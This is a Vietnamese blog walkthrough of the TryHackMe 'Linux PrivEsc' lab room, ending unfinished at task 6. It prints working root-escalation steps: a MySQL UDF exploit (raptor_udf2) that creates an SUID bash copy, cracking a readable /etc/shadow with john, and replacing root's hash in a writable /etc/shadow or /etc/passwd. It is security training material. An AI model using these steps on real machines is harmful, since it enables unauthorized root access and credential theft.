This page looks best with JavaScript enabled

Linux PrivEsc

 ·  ☕ 4 min read  ·  🤖 ch1nhpd

Chào các bạn, tiếp tục với các room trong TryHackMe list room from beginer, hôm nay chúng ta cùng đến với Linux PrivEsc để tìm hiểu về Privilege Escalation trong Linux nhé!

Task 1: Deploy the Vulnerable Debian VM

Ở phần đầu tiên, chỉ đơn giản là cài đặt máy để kết nối tới máy ảo của họ(vulnerable Debian VM) để bắt đầu khai thác.
Chúng ta sẽ kết nối tới máy của họ qua giao thức ssh .

ssh user@vulnerableVM_IP

Task 2: Service Exploits

Có nhiều Service chúng ta có thể khai thác nhưng trong bài này tác giả hướng chúng ta tới khai thác MySQL service qua UDFs ( User Defined Functions)

Lưu ý điều kiện là MySQL đang chạy dưới user “root” và user đó không đặt mật khẩu.

Để có thể khai thác ta cần biên dịch file raptor_udf2.c (Đã được cấp sẵn tại /home/user/tools/mysql-udf)

gcc -g -c raptor_udf2.c -fPIC

gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

Tiếp theo kết nối tới mysql bằng lệnh

mysql -u root</span

Rồi sau đó chạy đoạn lệnh sau để tạo ra một cái hàm (UDF) để chuẩn bị leo root. Mục đích của cái hàm này là lợi dụng mySQL để chạy lệnh của hệ thống dưới quyền root.(Vì mySQL đang đăng nhập bằng người dùng root)

use mysql;
create table foo(line blob);
insert into foo values(load_file('/home/user/tools/mysql-udf/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';

Sau khi tạo thành công hàm do_system ta chạy hàm đó để copy /bin/bash vào /tmp/rootbash và cấp cho nó SUID permission:

select do_system(‘cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash’);

Xong rồi thì mình cùng lên root thôi:

/tmp/rootbash -p

Task 3: Weak File Permissions - Readable /etc/shadow

Trước hết ta cần nắm được là cái file /etc/shadow là nơi lưu giữ mật khẩu của tất cả các người dùng dưới dạng hash. Thường thì cái file này chỉ root user mới được đọc. Nhưng trong bài này thì ai cũng có thể đọc được cái file đó và như vậy thì đương nhiên là ….

Khi mình đã có quyền đọc cái file đấy thì việc cần làm là crack cái chuỗi hash để lấy được password. Ở đây người ta hướng dẫn chúng ra dùng một công cụ là john như sau:

john –wordlist=path_listPassword_file path_passWord_Hash_file

Lưu ý: nhớ đọc kỹ hướng dẫn sử dụng trước khi dùng john nhé!

Task 4: Weak File Permissions - Writable /etc/shadow

Ở task 3 là chúng ta có quyền đọc thì đi crack còn nếu có thêm quyền sửa thì chúng ta chỉ cần hash một cái pass mới rồi thay thể vào hash của pass cũ là xong. Điều quan trọng là phải biết cái hash đó dùng thuật toán gì.(Như trong bài là sha-512)

Đem ra so sánh thì việc crack password khó hơn nhiều so với việc xác định thật toán của hàm hash. Để xác định được thuật toán hash chúng ta có thể sử dụng một số tool như hash-identifier, hashid,… hoặc một số tool online như hash-analyzer

Sau khi xác định được thuật toán hash thì các bạn có thể dùng lệnh sau để tạo ra chuỗi hash:

mkpasswd -m hash_type newpasswordhere

Cuối cùng là thay thế đoạn hash của root user trong /etc/shadow thành đoạn hash vừa tạo để cập nhật pass mới cho root.

Task 5: Weak File Permissions - Writable /etc/passwd

Ngoài file như đã nói ở task 3,4 thì còn một file nữa là /etc/passwd cũng lưu hash của password. Tuy nhiên có một số máy không lưu ở file này. Và thường thì nó không lưu ở file này.

Việc cần làm vẫn là loanh quanh như ở task 3 và 4. Đặc biệt, ở task này học được thêm một cách để tạo hash là:

openssl passwd newpasswordhere

Có một lưu ý là cái hash trong file này được lưu ở giữa dấu : thứ 1 và 2 và thường thì ở đấy nó để chữ x nhé!

Task 6:

[Đang cập nhật….]

Share on

Phạm Đăng Chính
WRITTEN BY
ch1nhpd
Developer, Pentester